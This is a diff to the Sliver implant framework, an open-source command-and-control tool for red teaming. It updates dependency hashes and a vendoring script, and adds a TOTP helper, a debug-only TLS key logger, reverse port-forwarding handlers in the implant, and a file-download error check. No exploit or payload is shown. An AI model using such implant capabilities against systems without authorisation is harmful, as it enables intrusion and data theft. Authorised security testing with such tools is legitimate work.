golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
|
||||
golang.org/x/crypto v0.0.0-20181009213950-7c1a557ab941/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
|
||||
golang.org/x/crypto v0.0.0-20181029021203-45a5f77698d3/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
|
||||
golang.org/x/crypto v0.0.0-20190123085648-057139ce5d2b/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
|
||||
golang.org/x/crypto v0.0.0-20190211182817-74369b46fc67/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
|
||||
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||
@@ -906,7 +883,6 @@ golang.org/x/exp v0.0.0-20191227195350-da58074b4299/go.mod h1:2RIsYlXP63K8oxa1u0
|
||||
golang.org/x/exp v0.0.0-20200119233911-0405dc783f0a/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4=
|
||||
golang.org/x/exp v0.0.0-20200207192155-f17229e696bd/go.mod h1:J/WKrq2StrnmMY6+EHIKF9dgMWnmCNThgcyBT1FY9mM=
|
||||
golang.org/x/exp v0.0.0-20200224162631-6cc2880d07d6/go.mod h1:3jZMyOhIsHpP37uCMkUooju7aAi5cS1Q23tOzKc+0MU=
|
||||
golang.org/x/exp v0.0.0-20200331195152-e8c3332aa8e5/go.mod h1:4M0jN8W1tt0AVLNr8HDosyJCDCDuyL9N9+3m7wDWgKw=
|
||||
golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js=
|
||||
golang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=
|
||||
golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
|
||||
@@ -940,7 +916,6 @@ golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73r
|
||||
golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20181005035420-146acd28ed58/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20181011144130-49bb7cea24b1/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20181201002055-351d144fa1fc/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20181220203305-927f97764cc3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
@@ -966,7 +941,6 @@ golang.org/x/net v0.0.0-20200222125558-5a598a2470a0/go.mod h1:z5CRVTTTmAJ677TzLL
|
||||
golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20200301022130-244492dfa37a/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
|
||||
golang.org/x/net v0.0.0-20200421231249-e086a090c8fd/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
|
||||
golang.org/x/net v0.0.0-20200501053045-e0ff5e5a1de5/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
|
||||
golang.org/x/net v0.0.0-20200506145744-7e3656a0809f/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
|
||||
golang.org/x/net v0.0.0-20200513185701-a91f0712d120/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
|
||||
@@ -1016,12 +990,9 @@ golang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cO
|
||||
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sys v0.0.0-20170830134202-bb24a47a89ea/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180606202747-9527bec2660b/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180816055513-1c9583448a9c/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20181107165924-66b7b1311ac8/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190209173611-3b5209105503/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
@@ -1066,7 +1037,6 @@ golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200331124033-c3d80250170d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200420163511-1957bb5e6d1f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200501052902-10377860bb8e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200511232937-7e40ca221e25/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200515095857-1151b9dac4a9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
@@ -1084,6 +1054,7 @@ golang.org/x/sys v0.0.0-20201112073958-5cba982894dd/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201126233918-771906719818/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201201145000-ef89a241ccb3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201207223542-d4d67f95c62d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
@@ -1098,21 +1069,24 @@ golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210816074244-15123e1e1f71/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210902050250-f475640dd07b/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211007075335-d3039528d8ac/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211013075003-97ac67df715c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211103235746-7861aae1554b/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211110154304-99a53858aa08/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220207234003-57398862261d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220422013727-9388b58f7150/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220503163025-988cb79eb6c6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64 h1:UiNENfZ8gDvpiWw7IpOMQ27spWmThO1RwwdQVbJahJM=
|
||||
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.0.0-20210503060354-a79de5458b56/go.mod h1:tfny5GFUkzUvx4ps4ajbZsCe5lw1metzhBm9T3x7oIY=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
|
||||
golang.org/x/text v0.0.0-20160726164857-2910a502d2bf/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
@@ -1156,7 +1130,6 @@ golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtn
|
||||
golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.0.0-20191029041327-9cc4af7d6b2c/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.0.0-20191029190741-b9c20aec41a5/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.0.0-20191112195655-aa38f8e97acc/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.0.0-20191113191852-77e3bb0ad9e7/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.0.0-20191115202509-3a792d9c32b2/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
@@ -1272,7 +1245,6 @@ google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEY
|
||||
google.golang.org/genproto v0.0.0-20200618031413-b414f8b61790/go.mod h1:jDfRM7FcilCzHH/e9qn6dsT145K34l5v+OpcnNgKAAA=
|
||||
google.golang.org/genproto v0.0.0-20200729003335-053ba62fc06f/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
|
||||
google.golang.org/genproto v0.0.0-20200804131852-c06518451d9c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
|
||||
google.golang.org/genproto v0.0.0-20200806141610-86f49bd18e98/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
|
||||
google.golang.org/genproto v0.0.0-20200825200019-8632dd797987/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
|
||||
google.golang.org/genproto v0.0.0-20200904004341-0bd0a958aa1d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
|
||||
google.golang.org/genproto v0.0.0-20201109203340-2640f1f9cdfb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
|
||||
@@ -1311,8 +1283,6 @@ google.golang.org/grpc v1.39.0-dev.0.20210518002758-2713b77e8526/go.mod h1:PImNr
|
||||
google.golang.org/grpc v1.39.0/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE=
|
||||
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84 h1:hZAzgyItS2MPyqvdC8wQZI99ZLGP9Vwijyfr0dmYWc4=
|
||||
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU=
|
||||
google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e h1:sNoeF2U2n39//BlK2EgW1ogs99jJ+xDhrvR3oaEnRzk=
|
||||
google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e/go.mod h1:gID3PKrg7pWKntu9Ss6zTLJ0ttC0X9IHgREOCZwbCVU=
|
||||
google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
|
||||
google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
|
||||
google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
|
||||
@@ -1343,11 +1313,11 @@ gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMy
|
||||
gopkg.in/gemnasium/logrus-airbrake-hook.v2 v2.1.2/go.mod h1:Xk6kEKp8OKb+X14hQBKWaSkCsqBpgog8nAV2xsGOxlo=
|
||||
gopkg.in/inconshreveable/log15.v2 v2.0.0-20180818164646-67afb5ed74ec/go.mod h1:aPpfJ7XW+gOuirDoZ8gHhLh3kZ1B08FtV2bbmy7Jv3s=
|
||||
gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw=
|
||||
gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
|
||||
gopkg.in/natefinch/lumberjack.v2 v2.0.0/go.mod h1:l0ndWWf7gzL7RNwBG7wST/UCcT4T24xpD6X8LsfU/+k=
|
||||
gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo=
|
||||
gopkg.in/square/go-jose.v2 v2.3.1/go.mod h1:M9dMgbHiYLoDGQrXy7OpJDJWiKiU//h+vD76mk0e1AI=
|
||||
gopkg.in/square/go-jose.v2 v2.5.1/go.mod h1:M9dMgbHiYLoDGQrXy7OpJDJWiKiU//h+vD76mk0e1AI=
|
||||
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ=
|
||||
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=
|
||||
gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74=
|
||||
gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
@@ -1356,6 +1326,8 @@ gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
|
||||
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
@@ -1367,8 +1339,9 @@ gorm.io/driver/sqlite v1.3.6 h1:Fi8xNYCUplOqWiPa3/GuCeowRNBRGTf62DEmhMDHeQQ=
|
||||
gorm.io/driver/sqlite v1.3.6/go.mod h1:Sg1/pvnKtbQ7jLXxfZa+jSHvoX8hoZA8cn4xllOMTgE=
|
||||
gorm.io/gorm v1.23.4/go.mod h1:l2lP/RyAtc1ynaTjFksBde/O8v9oOGIApu2/xRitmZk=
|
||||
gorm.io/gorm v1.23.7/go.mod h1:l2lP/RyAtc1ynaTjFksBde/O8v9oOGIApu2/xRitmZk=
|
||||
gorm.io/gorm v1.23.8 h1:h8sGJ+biDgBA1AD1Ha9gFCx7h8npU7AsLdlkX0n2TpE=
|
||||
gorm.io/gorm v1.23.8/go.mod h1:l2lP/RyAtc1ynaTjFksBde/O8v9oOGIApu2/xRitmZk=
|
||||
gorm.io/gorm v1.23.9 h1:NSHG021i+MCznokeXR3udGaNyFyBQJW8MbjrJMVCfGw=
|
||||
gorm.io/gorm v1.23.9/go.mod h1:DVrVomtaYTbqs7gB/x2uVvqnXzv0nqjB396B8cG4dBA=
|
||||
gotest.tools v2.2.0+incompatible/go.mod h1:DsYFclhRJ6vuDpmuTbkuFWG+y2sxOXAzmJt81HFBacw=
|
||||
gotest.tools/v3 v3.0.2/go.mod h1:3SzNCllyD9/Y+b5r9JIKQ474KzkZyqLqEfYqMsX94Bk=
|
||||
gotest.tools/v3 v3.0.3/go.mod h1:Z7Lb0S5l+klDB31fvDQX8ss/FlKDxtlFlw3Oa8Ymbl8=
|
||||
|
||||
@@ -1,7 +1,17 @@
|
||||
#!/bin/sh
|
||||
#!/bin/bash
|
||||
|
||||
set -e
|
||||
|
||||
cleanup() {
|
||||
[ ! -z "$1" ] && echo "Error $1 occurred on $2"
|
||||
|
||||
mv "${tempDir}/vendor" "${pwd}/../vendor"
|
||||
mv "${tempDir}/go.mod" "${pwd}/../go-mod"
|
||||
mv "${tempDir}/go.sum" "${pwd}/../go-sum"
|
||||
cd ..
|
||||
rm -rf "$tempDir"
|
||||
}
|
||||
|
||||
# we are expecting from run from sliver/implant via 'go generate'
|
||||
cd scripts
|
||||
|
||||
@@ -12,6 +22,10 @@ cp ../go-mod "${tempDir}/go.mod"
|
||||
cp ../go-sum "${tempDir}/go.sum"
|
||||
mv ../vendor "${tempDir}/vendor"
|
||||
|
||||
|
||||
# Trap when a build fails so we can reset the environment
|
||||
trap 'cleanup $? $LINENO' ERR
|
||||
|
||||
# build Go file with all imported packages
|
||||
go run update-vendor.go "$tempDir"
|
||||
cd "$tempDir"
|
||||
@@ -20,8 +34,4 @@ go mod tidy -compat=1.17
|
||||
go mod vendor
|
||||
|
||||
# move updated files back
|
||||
mv "${tempDir}/vendor" "${pwd}/../vendor"
|
||||
mv "${tempDir}/go.mod" "${pwd}/../go-mod"
|
||||
mv "${tempDir}/go.sum" "${pwd}/../go-sum"
|
||||
cd ..
|
||||
rm -rf "$tempDir"
|
||||
cleanup
|
||||
@@ -182,6 +182,15 @@ func (c *CipherContext) Encrypt(plaintext []byte) ([]byte, error) {
|
||||
return ciphertext, nil
|
||||
}
|
||||
|
||||
// GetExactOTPCode - Get the OTP code for a specific timestamp
|
||||
func GetExactOTPCode(timestamp time.Time) string {
|
||||
code, _ := totp.GenerateCodeCustom(totpSecret, timestamp, totpOptions)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("TOTP Code (%s): %s", timestamp, code)
|
||||
// {{end}}
|
||||
return code
|
||||
}
|
||||
|
||||
// GetOTPCode - Get the current OTP code
|
||||
func GetOTPCode() string {
|
||||
now := time.Now().UTC()
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
package cryptography
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"os"
|
||||
)
|
||||
|
||||
var (
|
||||
// TLSKeyLogger - File descriptor for logging TLS keys
|
||||
TLSKeyLogger = newKeyLogger()
|
||||
)
|
||||
|
||||
func newKeyLogger() *os.File {
|
||||
// {{if .Config.Debug}}
|
||||
keyFilePath, present := os.LookupEnv("SSLKEYLOGFILE")
|
||||
if present {
|
||||
keyFile, err := os.OpenFile(keyFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
return keyFile
|
||||
}
|
||||
// {{end}}
|
||||
return nil
|
||||
}
|
||||
@@ -58,6 +58,9 @@ type TunnelHandler func(*sliverpb.Envelope, *transports.Connection)
|
||||
// PivotHandler - Handler related to pivoting
|
||||
type PivotHandler func(*sliverpb.Envelope, *transports.Connection)
|
||||
|
||||
// RportFwdHandler - Handler related to reverse port forwarding
|
||||
type RportFwdHandler func(*sliverpb.Envelope, *transports.Connection)
|
||||
|
||||
// -----------------------------------------------------
|
||||
// -----------------------------------------------------
|
||||
// -----------------------------------------------------
|
||||
@@ -372,6 +375,9 @@ func prepareDownload(path string, filter string, recurse bool) ([]byte, bool, in
|
||||
to download a single file
|
||||
*/
|
||||
fileInfo, err := os.Stat(path + filter)
|
||||
if err != nil {
|
||||
return nil, false, 0, 1, err
|
||||
}
|
||||
if err == nil && !fileInfo.IsDir() {
|
||||
// Then this is a single file
|
||||
rawData, err := os.ReadFile(path + filter)
|
||||
|
||||
@@ -0,0 +1,159 @@
|
||||
package handlers
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
// {{if .Config.Debug}}
|
||||
|
||||
"log"
|
||||
|
||||
// {{end}}
|
||||
"time"
|
||||
|
||||
rportfwd "github.com/bishopfox/sliver/implant/sliver/rportfwd"
|
||||
"github.com/bishopfox/sliver/implant/sliver/tcpproxy"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
var (
|
||||
genericRportFwdHandlers = map[uint32]RportFwdHandler{
|
||||
pb.MsgRportFwdListenersReq: rportFwdListenersHandler,
|
||||
pb.MsgRportFwdStartListenerReq: rportFwdStartListenerHandler,
|
||||
pb.MsgRportFwdStopListenerReq: rportFwdStopListenerHandler,
|
||||
}
|
||||
)
|
||||
|
||||
